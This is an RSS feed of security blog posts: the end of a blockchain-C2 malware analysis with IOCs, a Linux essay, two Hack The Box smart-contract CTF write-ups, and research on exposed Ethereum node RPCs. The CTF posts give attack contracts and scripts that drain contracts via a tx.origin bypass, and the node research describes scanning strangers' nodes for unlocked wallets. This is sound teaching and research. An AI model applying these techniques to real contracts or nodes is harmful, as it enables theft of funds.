href="https://www.ransom-isac.com/blog/cross-chain-txdatahiding-crypto-heist-part-3/">https://www.ransom-isac.com/blog/cross-chain-txdatahiding-crypto-heist-part-3/</a>Hybrid Analysis<a href="https://hybrid-analysis.com/sample/9f8033bf9e669aa8043f46733f73dd933ebe06eb4bbf7b3ccef3520bf4921598/682e5a350df522832307b738">https://hybrid-analysis.com/sample/9f8033bf9e669aa8043f46733f73dd933ebe06eb4bbf7b3ccef3520bf4921598/682e5a350df522832307b738</a>Shodan (23.27.13.242)<a href="https://www.shodan.io/host/23.27.13.242">https://www.shodan.io/host/23.27.13.242</a>URLQuery<a href="http://urlquery.net/report/6656ec0f-b239-49d4-bb8e-0c6e2e4eef16">http://urlquery.net/report/6656ec0f-b239-49d4-bb8e-0c6e2e4eef16</a>Twitter (@skocherhan)<a href="https://x.com/skocherhan/status/1984034926006825127">https://x.com/skocherhan/status/1984034926006825127</a>Twitter (@skocherhan)<a href="https://x.com/skocherhan/status/1978542223135576405">https://x.com/skocherhan/status/1978542223135576405</a>Shodan (108.165.100.36)<a href="https://www.shodan.io/host/108.165.100.36">https://www.shodan.io/host/108.165.100.36</a></p><p>The pattern is clear: traditional C2 infrastructure (servers, IPs, hostnames) gets rotated regularly. The Tron wallet pointers also rotate as they update their campaigns. But the Binance wallet — that stays the same. The payload itself gets updated from time to time (the oldest transaction I found was 322 days old), but because of how the dead drop architecture works, they can push new malware versions to the same wallet address indefinitely. No hosting provider to file a takedown with. No domain to seize. Just immutable blockchain data, forever.</p><h3>Further Reading &amp; Attribution</h3><p>This is where my personal investigation ends. I didn’t look into blockchain tracing or attempt to follow the wallet transactions — that’s a whole different level of headache and pain that I wasn’t willing to put myself through.</p><p>However, I did reach out to the <strong>Ransom-ISAC</strong> team about the DPRK attribution claims. They broke down the evidence: the C2 addresses are dedicated IPs for DPRK infrastructure based in Vladivostok, the blockchain tracing intersects with wallets from DPRK-related campaigns like the <strong>Bybit hack</strong>, and the TxAddress technique matches what Mandiant/GTIG reported on.</p><p>This campaign fits the <strong>“Contagious Interview”</strong> pattern — a known DPRK initial access vector. The playbook includes fake job interviews via LinkedIn/Telegram/Discord, poor AI-based filter camera interviews, and the obfuscation techniques we saw in this malware. ISAC even shared a case where a victim reported the interviewer appeared as a White American, looked like someone of African descent on camera, spoke with a Far-East accent, and logged in from a Vietnamese IP. Classic OpSec failures from this threat actor group.</p><h3>Recommended Deep Dives</h3><p>The <strong>Ransom-ISAC</strong> team published a fantastic multi-part analysis covering the full kill chain, additional IOCs, and detection rules:</p><ul><li><a href="https://www.ransom-isac.com/blog/cross-chain-txdatahiding-crypto-heist/">Cross-Chain TxDataHiding Crypto Heist (Part 1)</a></li><li><a href="https://www.ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/">Cross-Chain TxDataHiding Crypto Heist (Part 2)</a></li><li><a href="https://www.ransom-isac.com/blog/cross-chain-txdatahiding-crypto-heist-part-3/">Cross-Chain TxDataHiding Crypto Heist (Part 3)</a></li><li><a href="https://www.ransom-isac.com/blog/cross-chain-txdatahiding-crypto-heist-part-4/">Cross-Chain TxDataHiding Crypto Heist (Part 4)</a></li></ul><h3>Additional Resources</h3><p>TypeLinkTwitter Thread<a href="https://x.com/skocherhan/status/1978530877467447667">https://x.com/skocherhan/status/1978530877467447667</a>URLQuery Report<a href="https://www.urlquery.net/report/ddff21e3-12b5-4b12-9048-5c7cfe8c3a0f">https://www.urlquery.net/report/ddff21e3-12b5-4b12-9048-5c7cfe8c3a0f</a>Joe Sandbox Analysis<a href="https://www.joesandbox.com/analysis/1796016/0/html">https://www.joesandbox.com/analysis/1796016/0/html</a>Malva.re Report<a href="https://app.malva.re/file/64cc940af0ebea2626d156bdac505c3c/report">https://app.malva.re/file/64cc940af0ebea2626d156bdac505c3c/report</a>Malprob.io<a href="https://malprob.io/report/e792b1d0079c491c821137ef4695ec26f764a35bcbfcb1fe47d675b5944ebf56">https://malprob.io/report/e792b1d0079c491c821137ef4695ec26f764a35bcbfcb1fe47d675b5944ebf56</a>VirusTotal (Cloudflare Tunnel)<a href="https://www.virustotal.com/gui/domain/cornwall-optimum-aviation-seekers.trycloudflare.com">https://www.virustotal.com/gui/domain/cornwall-optimum-aviation-seekers.trycloudflare.com</a></p><h3>Conclusion</h3><p>This malware represents a modern evolution of botnet command-and-control. By abusing the immutable nature of public blockchains, the attacker ensures their payload cannot be deleted by hosting providers or law enforcement. Detection requires either:</p><ol><li><strong>Deep packet inspection</strong> of API calls to blockchain endpoints</li><li><strong>Host-based monitoring</strong> of process execution arguments</li><li><strong>Behavioral analysis</strong> watching for Node.js processes spawning with -e flags</li></ol><p>The social engineering was decent but not perfect — the impatience gave it away. The technical infrastructure, however, was genuinely impressive. Blockchain-based dead drops are becoming more common, and this “Triple-Chain” architecture shows how threat actors are evolving.</p><p>As for <strong>SuperStar0420</strong>? He’s still out there, probably with a new username by now, hunting in crypto Discord servers for his next victim. The malware family is being actively tracked by multiple security teams, so hopefully the net is closing.</p><p>Stay paranoid, friends. And if someone on Discord offers you a “technical assessment” from a crypto-related server… maybe think twice.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2f7588aea76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Is Linux Ready for Daily Use in 2025? A Practical Look at Performance & Usability]]></title>
            <link>https://medium.com/@0xOZ/is-linux-ready-for-daily-use-in-2025-a-practical-look-at-performance-usability-d6534889e060?source=rss-227066618c96------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6534889e060</guid>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[unix]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[OZ]]></dc:creator>
            <pubDate>Fri, 28 Feb 2025 21:03:21 GMT</pubDate>
            <atom:updated>2025-02-28T21:03:21.877Z</atom:updated>
            <content:encoded><![CDATA[<h3>Is Linux Ready for Daily Use in 2025? A Practical Look at Usability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ncuy_onBghYeHDUu.jpg" /></figure><p>We are in 2025, and we are close to the end of the file for Windows 10. While there is Windows 11, many Windows 10 users are unable to upgrade to Windows 11 due to requirements issues or issues with Windows 11 itself (e.g, bugs).</p><p>So, regardless of that discussion and the increased thoughts of Linux and the hate for Windows, I have been a Linux user for some years and have used it in the past as a daily drive for some time. I will share my own experience and what issues I have faced and how to go around them when you are planning to use Linux.</p><h3>Choosing a distro</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*vIp6S8XVDvqAAK030dHH8A.png" /><figcaption><a href="https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg">Linux Distros Timeline</a></figcaption></figure><p>First of all, choosing a distro is the hard part, especially for distro-hopping addicts..</p><p>There are tons of options, but mainly, and from what I have tried, we have Debian and any Debian-based distro (e.g, Ubuntu), Arch and any Arch-based distro (E.g, EndeavourOS), Tumbleweed, NixOS, Fedora, and much many but are those that usually come to my mind when thinking of daily driving a distro.</p><p><strong>Considerations</strong>:</p><p>I want a distro that I can install as many tools as I want without having to clone much from Github or other sources and still have the latest versions of the tools, which means I need a large packages repository so debian is discounted (Incluing Ubuntu) because these distros are meant to have less frequent updates to stay stable and tested.</p><p>We are out with the rest of the options, I also need a distro that isn’t complex to configure but easy to customize without having to reinvent the wheel by having large community support.</p><p>For that, Arch and NixOS are by far the largest communities (Other options are good but can’t be compared in terms of community support)..</p><p>I just hate NixOS&#39;s complexity, It’s a Linux distribution with its own package manager, which uses its own lisp-alike language and custom configuration and needed features, including a different file system structure to have “immutability among other features it offers”.</p><p>For that, I will go with my favorite simple option, which is Arch (I will be going with EndeavourOS to skip the manual installation process).</p><h3>Choosing a Desktop Environment / Window Manager / <strong>Display Server</strong></h3><p>Many terms to go with it, but to simplify, because Linux is Open Source, there are tons of options that people built to run on the system, and they are on different levels for the different kind of users and layers that do exist for the GUI experience.</p><p><strong>The Desktop Environment (DE) </strong>is about installing Linux and directly using it as easy of it’s a Windows machine with the ability to customize it later, a known examples of it for you to look up Gnome (which what Ubuntu uses), KDE (Such Fedora KDE / EndeavourOS KDE), Xfce4 (Which what Kali uses).</p><p><strong>The Window Manager (WM) </strong>is a more abstract and simpler application that focuses on being able to customize everything yourself in a way that you could stop using the mouse for almost everything. A known example is I3, AwesomeWM, dwm for Xorg (we will discuss it in a bit), and Hyprland, Sway for Wayland (we will discuss it in a bit).</p><p>Those are just some examples and known figures that you can use as a starting point for your exploration.</p><p>Now, for the<strong> Display Server. </strong>We have mentioned Wayland and Xorg so far (which are the only ones), but what are they? From <a href="https://en.wikipedia.org/wiki/Windowing_system">Wikipedia</a>, it’s known as:</p><blockquote>A <strong>display server</strong> or <strong>window server</strong> is a program whose primary task is to coordinate the input and output of its clients to and from the rest of the operating system, the hardware, and each other. The display server communicates with its clients over the display server protocol, a <a href="https://en.wikipedia.org/wiki/Communications_protocol">communications protocol</a>, which can be network-transparent or simply network-capable.</blockquote><p>That’s too much and doesn’t exactly say what it is. So, in short a Display Server is the core component that handles “showing” things on screen, doesn’t matter what and how it’s only job is to render things on the screen and something else will handle the rest from placing designing and so on (Which is why we have WMs/DEs)</p><p><strong>Now for choosing the DE or the WM alongside with the Display Server</strong></p><p>It’s sad, but here is where things stop going well and where I will focus on talking.</p><p>Usually, the best DEs to go with are KDE / Gnome, which are the most user-friendly and flexible to be customized the way you want.</p><p>Though depending on the Display Manager, the GPU you have will be causing a lot of pain for you along the way.</p><p>For Xorg, it’s the former, and its protocol first release was in <a href="https://en.wikipedia.org/wiki/X_Window_System#Release_history">1987</a>, so it’s kind of too old. Many say the code has been squeezed too to get the best out of it and can’t do much more. Because of that and the many security issues related to Xorg philosophy, the Xorg devs decided to generate a new Display Server protocol with a better philosophy. This is a long debate to go into, but you can read and watch the talk <a href="https://www.youtube.com/watch?v=RIctzAQOe44">here</a> for yourself if you are interested in the details.</p><p>So now, Wayland was born to do what Xorg isn’t able to do the “right” way. It’s been out there since 2008, which should not be “new,” but many still consider it that..</p><p>Enough history!</p><h3>Real Issues</h3><p>For me, I had an Nvidia GPU 30 x series (which is important for choosing). I prefer to go with a WM because I prefer working with the keyboard than the mouse most of the time, though not every WM is welcoming for me. I have worked with i3 in the past, but it’s only for XOrg, and it’s better to stick to Wayland, so I had to switch to sway (I3 but Wayland version) or something else like Hyprland.</p><p>Why did I “just” choose Wayland over Xorg? Xorg is good when having an old GPU and won’t be causing issues, but if you have a recent GPU, this is not really guaranteed..</p><p>So if you have an old GPU, it’s okay to go with Xorg, but why would you while Wayland exists?</p><p>Well, if you have an Nvidia GPU, Wayland is not going to be a good experience for you. Most of the things are buggy and don’t work well. Many tried to do workarounds to run their favorite DE/WM on Wayland, but in the end, there will be some random bugs or crashes on high load. Even some WMs note that if you have any bugs when using Nvidia, don’t report them, as it’s not their issue.</p><p>In the end, Nvidia&#39;s lack of drivers is causing a lot of issues for Nvidia users on Linux, so if you have a recent Nvidia GPU and want to use Linux, it’s not going to be a pleasant experience.</p><h3>Summary</h3><p>To summarize all the pain before concluding</p><ul><li>If you have an AMD GPU, you are good to go with anything. Linux will be a good choice, and you will have a nice, shiny experience showing your fastfetch to your friends and share your Customization progress in Linux communities</li><li>If you have an old Nvidia GPU, it’s better for you to use Xorg as you will have enough pain trying out Wayland. You can always try different DEs yourself on a VM or the way you want.</li><li>If you have a recent Nvidia GPU, just stay away from using Linux as a daily distro! Don’t even bother wasting time until Nvidia resolves their drivers’ issues for Linux and makes better driver support.</li></ul><h3>Conclusion</h3><p>Linux in 2025 is more capable than ever for daily use, but hardware compatibility — especially with Nvidia GPUs — remains a major hurdle. While AMD users can enjoy a smooth experience, Nvidia users may face persistent driver issues that impact usability. If you’re considering Linux as your primary OS, your hardware choice will significantly influence your experience. For those with the right setup, Linux offers flexibility, customization, and stability. But for others, sticking with Windows or waiting for better driver support might be the wiser choice.</p><blockquote>The Conclusion is ChatGPT Generated :)</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6534889e060" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Distract and Destroy Writeup — HTB]]></title>
            <link>https://coinsbench.com/distract-and-destroy-writeup-htb-ba2b93cfcbb5?source=rss-227066618c96------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba2b93cfcbb5</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[OZ]]></dc:creator>
            <pubDate>Fri, 29 Dec 2023 15:55:44 GMT</pubDate>
            <atom:updated>2023-12-30T12:18:41.901Z</atom:updated>
            <content:encoded><![CDATA[<h3>Distract and Destroy Writeup — HTB</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iDLO6-lnMCv9FRW4Uj5Lrw.png" /></figure><p>This is the second challenge in the Blockchain Challenges series, it is simple and only requires some decent experience with solidity</p><p>If You don’t know how I knew about something or used X tool, you can read the /docs it guides newbies to get started with this series of CTFs.</p><p>First, the Setup.sol doesn’t have anything important, it only creates new instance of Creature.sol and a function for checking the challenge is solved.</p><pre>contract Setup {<br>    Creature public immutable TARGET;<br><br>    constructor() payable {<br>        require(msg.value == 1 ether);<br>        TARGET = new Creature{value: 10}();<br>    }<br><br>    function isSolved() public view returns (bool) {<br>        return address(TARGET).balance == 0;<br>    }<br>}</pre><p>The Creature.sol has two variables, one stores the lifePoints that we need to zero out to loot() the contract and drain it from 1000 to 0, the second aggro tracks the sender&#39;s address</p><pre><br>contract Creature {<br>    uint256 public lifePoints;<br>    address public aggro;<br><br>constructor() payable {<br>        lifePoints = 1000;<br>    }<br>// ....<br>// ....  <br>// ....<br>}</pre><p>We have attack() two modify the lifePoints variable and loot() to drain the function, the only private function is _isOffBalance() which checks if the tx.origin is not the msg.sender, we will come to that</p><pre>  function attack(uint256 _damage) external {<br>        if (aggro == address(0)) {<br>            aggro = msg.sender;<br>        }<br><br>        if (_isOffBalance() &amp;&amp; aggro != msg.sender) {<br>            lifePoints -= _damage;<br>        } else {<br>            lifePoints -= 0;<br>        }<br>    }<br><br>    function loot() external {<br>        require(lifePoints == 0, &quot;Creature is still alive!&quot;);<br>        payable(msg.sender).transfer(address(this).balance);<br>    }<br><br>    function _isOffBalance() private view returns (bool) {<br>        return tx.origin != msg.sender;<br>    }<br>}<br><br>}<br>// end of the code</pre><p>Going through loot() which sends the sender the contract balance, we need lifePoints to be zero, the only way to modify it is through attack(), and to do so we need to pass the check (_isOffBalance() &amp;&amp; aggro != msg.sender) otherwise, it will not decrease lifePoints.</p><p>The function attack() sets aggro to msg.sender the first time it called, which thus prevents any changes to lifePoints from the first address that called, and checks if the tx.origin is not msg.sender in _isOffBalance() which means the sender cannot be an EOA, only a contract can call it. Thus we create a contract to call attack(1000), call the target contract from the EOA first then from the contract to change lifePoints. Finally, we can call loot() to drain the contract.</p><pre>conjtract DistractAndDestroySolve {<br>    IDistractAndDestroy immutable distractAndDestroy;<br><br>    constructor(address _distractAndDestroy) payable {<br>        distractAndDestroy = IDistractAndDestroy(_distractAndDestroy);<br>    }<br>    function win() external {<br>        distractAndDestroy.attack(distractAndDestroy.lifePoints());<br>    }<br>}</pre><p>I’ve also made a script to automate the whole process</p><pre>contract Solve is Script {<br>    DistractAndDestroySolve public distractAndDestroySolve;<br>    address target = vm.envAddress(&quot;target&quot;);<br>    address player;<br><br>    function setUp() public payable {<br>        player = vm.addr(vm.envUint(&quot;pk&quot;));<br>        vm.startBroadcast(player);<br>        distractAndDestroySolve = new DistractAndDestroySolve(target);<br>    }<br><br>    function run() public {<br>        IDistractAndDestroy(target).attack(0);<br>        distractAndDestroySolve.win();<br>        IDistractAndDestroy(target).loot();<br>    }<br>}</pre><p>A quick run to the script and we drained the contract</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WN9cqZDQt0Q9FACb9iBOjQ.png" /></figure><p>We can go now to the website to get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*DJGJKs1uw78yUV2kqWDH0g.png" /></figure><p>You can find the full script that solves the challenge <a href="https://gist.github.com/0x0OZ/30e2027cb7570511adefd5f36eda9adb">here</a></p><h3><strong>Conclusion</strong></h3><p>Don’t use tx.origin in your contracts except if you know what you are doing, the only good use case that is known for it is to check if the sender is a contract or not.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba2b93cfcbb5" width="1" height="1" alt=""><hr><p><a href="https://coinsbench.com/distract-and-destroy-writeup-htb-ba2b93cfcbb5">Distract and Destroy Writeup — HTB</a> was originally published in <a href="https://coinsbench.com/">CoinsBench</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Survival of the Fittest Writeup — HTB]]></title>
            <link>https://coinsbench.com/survival-of-the-fittest-writeup-htb-f31d274b119b?source=rss-227066618c96------2</link>
            <guid isPermaLink="false">https://medium.com/p/f31d274b119b</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[OZ]]></dc:creator>
            <pubDate>Thu, 21 Dec 2023 11:31:15 GMT</pubDate>
            <atom:updated>2023-12-27T09:36:42.771Z</atom:updated>
            <content:encoded><![CDATA[<h3>Survival of the Fittest Writeup — HTB</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFpBVq29XaVy90Or0apfzw.png" /></figure><p>This is an easy challenge for blockchain that you can solve to get started with this kind of CTF.</p><p>If You don’t know how I knew about something or used X tool, you can read the /docs it guide newbies to get started with this series of CTFs.</p><p>After Starting the challenge it will deploy the challenge to the network using the `Setup.sol` script which both codes are provided in the files</p><pre>// SPDX-License-Identifier: UNLICENSED<br>pragma solidity ^0.8.13;<br><br>import {Creature} from &quot;./Creature.sol&quot;;<br><br>contract Setup {<br>    Creature public immutable TARGET;<br><br>    constructor() payable {<br>        require(msg.value == 1 ether);<br>        TARGET = new Creature{value: 10}();<br>    }<br>    <br>    function isSolved() public view returns (bool) {<br>        return address(TARGET).balance == 0;<br>    }<br>}<br><br></pre><p>Setup.sol simply creates a new contract of Creature.sol with 10 wei value, it is not mentioned why the Setup runs only when receiving 1 ether and sends 10 to the contract, but it might be a design to standardize future challenges</p><pre>// SPDX-License-Identifier: UNLICENSED<br>pragma solidity ^0.8.13;<br><br>contract Creature {<br>    <br>    uint256 public lifePoints;<br>    address public aggro;<br><br>    constructor() payable {<br>        lifePoints = 20;<br>    }<br><br>    function strongAttack(uint256 _damage) external{<br>        _dealDamage(_damage);<br>    }<br>    <br>    function punch() external {<br>        _dealDamage(1);<br>    }<br><br>    function loot() external {<br>        require(lifePoints == 0, &quot;Creature is still alive!&quot;);<br>        payable(msg.sender).transfer(address(this).balance);<br>    }<br><br>    function _dealDamage(uint256 _damage) internal {<br>        aggro = msg.sender;<br>        lifePoints -= _damage;<br>    }<br>}</pre><p>Creature.sol The main contract is where the <em>magic happens. It has only two state variables which we are interested in one of them only because the other seems to just confuse the player as it does not cause anything.</em></p><p>The constructor accepts eth and sets the lifePoints to 20 which is what we need to work on to meet the condition in loot() to drown the function</p><p>We have three external functions two to deal damage which decreases the lifePoints and one to loot the contract when the lifePoints reaches 0</p><p>We can write a script to do that but it is easier and simpler to do using Foundry tools which is better to get more familiar with using it.</p><p>First, we call strongAttack(uint256) with the value 20 to zero out lifePoints</p><pre>cast send $target -r $rpc &#39;function strongAttack(uint256)&#39; 20 --private-key $pk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bxii6-Xt0Vn-7-KwQaHxjA.png" /></figure><p>And call loot() to drown the function and get the flag</p><pre>cast send $target -r $rpc &#39;function loot()&#39; --private-key $pk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hfp1yC15Izk2ofeEbbulNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*wbyDlVqcxLotiGugRirYHg.png" /></figure><h3>Conclusion:</h3><p>Easy simple and fun challenge to refresh the memory.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f31d274b119b" width="1" height="1" alt=""><hr><p><a href="https://coinsbench.com/survival-of-the-fittest-writeup-htb-f31d274b119b">Survival of the Fittest Writeup — HTB</a> was originally published in <a href="https://coinsbench.com/">CoinsBench</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethereum nodes security]]></title>
            <link>https://medium.com/@0xOZ/ethereum-nodes-security-5cce950fcc77?source=rss-227066618c96------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cce950fcc77</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[ethereum-security]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[OZ]]></dc:creator>
            <pubDate>Thu, 23 Feb 2023 10:58:28 GMT</pubDate>
            <atom:updated>2023-03-04T12:38:27.899Z</atom:updated>
            <content:encoded><![CDATA[<h3>Questions to answer</h3><p>I have always been wondering if the people who run their own nodes have full awareness of what they are doing, do they copy-paste commands from some article they found, do they know what each argument does, do they have awareness of the power of their client RPC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sdjzjdibPuLXioyn.png" /></figure><p>To answer those questions I made some research, and found a couple of ways to get IP addresses of nodes in the chain to pentest them</p><p>The first method was to run my own client using geth or any other and request the json-rpc for admin.peers to get peers around, I don’t need to run it on the mainnet, running on a private network will do the work, and I will keep receiving handshake requests from other peers</p><p>The second method is to use public information, I have found some resources the most helpful was <a href="http://ethernodes.org/">ethernodes</a>.</p><p>There are other ways to get better and more results like understanding the networking underlying the blockchain and making a custom tool that gathers nodes, or using the Ethereum beacon API, we will not use those in this research, but maybe someone will do in the future</p><h3>Setting up geth client and scripts</h3><p>I started my local geth client and checked the admin.peers, even though I am running my node on a private testnet but I am receiving handshake connections from remote nodes on different chains, I made a script that checks admin.peers every second and I got a lot of valid IP addresses of nodes, the purpose of that is to check if they have their json-rpc exposed to the public and to check if they have their accounts unlocked.</p><pre>geth --datadir ethereum --networkid 1337 --port 30304 --http --http.api admin --http.corsdomain &quot;*&quot; --http.vhosts &quot;*&quot; --http.port 8555 --http.addr 127.0.0.1 --authrpc.addr 127.0.0.1</pre><p>the first test started on Jan-2 at 18:27:47 and stopped on Jan-2 at 22:03:02, this was just to demonstrate if I can get some interesting results.</p><h3>Analyzing results</h3><p>At that point, I scanned 1340 nodes from different chains, here are the results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*9O8v-rCXgGziqzRmcYpBwQ.png" /></figure><p>each folder contains its json-rpc response, eth_mining missing an ip, probably a firewall blocked it or the node went down.</p><p><strong>1107</strong> of the total didn’t accept my requests whether for firewall, or it’s not exposed to the public, that’s a great sign, <strong>82.6%</strong> of the nodes I scanned didn’t have any security issues with their nodes, but <strong>18%</strong> <strong>did</strong>!</p><p>with <strong>17</strong> nodes from the mainnet <strong>124</strong> were from Taiko chain, and the rest are from different chains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*eCHaMP8oiz9Hd85Csvnyjw.png" /></figure><p>we had 80 enabled miners, and 197 miners disabled</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*5knH5TlsPcCyhSlw_MRGjQ.png" /></figure><p>The interesting part here is the <strong>personal_listAccounts</strong>, I found 276 wallets from 9 different nodes!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*9HnHyDgb6dgqDbEPWP6PpA.png" /></figure><p>9 nodes of that <strong>18% </strong>had their wallets exposed, in the image above there are only 9 wallets shown, the rests are in one of the nodes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*_1OgpjqagN0L0EU4XJERdw.png" /></figure><p>what a terrible thing to do, here I start digging deeper into that IP address, why it contains that much of addresses, and why it has a weird firewall, that blocks a request and allows it in the next minute.</p><p>First I checked if the wallets are locked or not, the first wallet is <strong>NOT</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*42HtPXBJ1t_jsohboiWFFw.png" /></figure><p>That’s very interesting and weird, I had to investigate further, doing whois on the addresses revealed it belongs to &lt;REDACTED&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*btJWcMQ8Kf0yWppCq9YwWw.png" /></figure><p>&lt;REDACTED&gt; offers blockchain service for the infrastructure, maybe the node is for a customer? or it is theirs?</p><p>| later after publishing, I reported this to &lt;REDACTED&gt;, and they informed me that it is a customer asset.</p><p>I did a quick network scan for their network CIDR 174.xxx.xxx.xxx/17 using rustscan found 12 open ports, but only 7 of them had geth client actually, the node we found before is not included, probably because of the firewall</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*OAk0HPoBJrmN7ZJ178_XTQ.png" /></figure><p>they all were running on the Ethereum mainnet, with 4 of them having the personal namespace disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHRTJdOSExGTDyKnJuozoQ.png" /></figure><p>Now, with all of this analysis, we demonstrated that we can access a lot of nodes and almost do everything, but is really a critical issue? what are the implications?</p><p>First Yes it is a critical issue, we showed one of the nodes had its wallet unlocked, which means if it had balance any malicious user could steal it, and the owner won’t notice until it was too late, they can wait for users to unlock their locked wallets, they can automate this though, attackers can use them instead of paid services and make use of those free available nodes, they can also turn on/off the miners if this was allowed through json-rpc, they can use it like it’s their own client.</p><p>I have demonstrated enabling/disabling miner with my own geth to not interrupt others without permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*POb1VYrVl4Vf9EpFAmxW0w.png" /></figure><h3>What should we do?</h3><p>when we run our clients on a public chain, users who run their own nodes must avoid enabling thepersonal namespace, or do not enable the RPC at all or keep it restricted to localhost at least</p><p>A better and recommended solution if you want to expose your RPC to the public but don’t want everyone</p><h3>Extra Note</h3><p>I did a scan for all active Ethereum nodes I found on ethernodes, 5431 active nodes at that time, and only 182 of them had their json-rpc exposed which is a good indicator for the mainnet nodes the 182 nodes, 37 of them had their account set but they were <strong>locked, </strong>another good indicator.</p><h3>Conclusion</h3><p>A lot of people tend to run their own clients on Ethereum without a proper understanding of what they are doing, in some cases, this will lead to bad consequences as we showed, and I haven’t seen this mentioned a lot, so I hope this article demonstrated enough consequences that will incentive users to have more awareness and follow best practices.</p><p>I might publish the script I used later on GitHub.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cce950fcc77" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>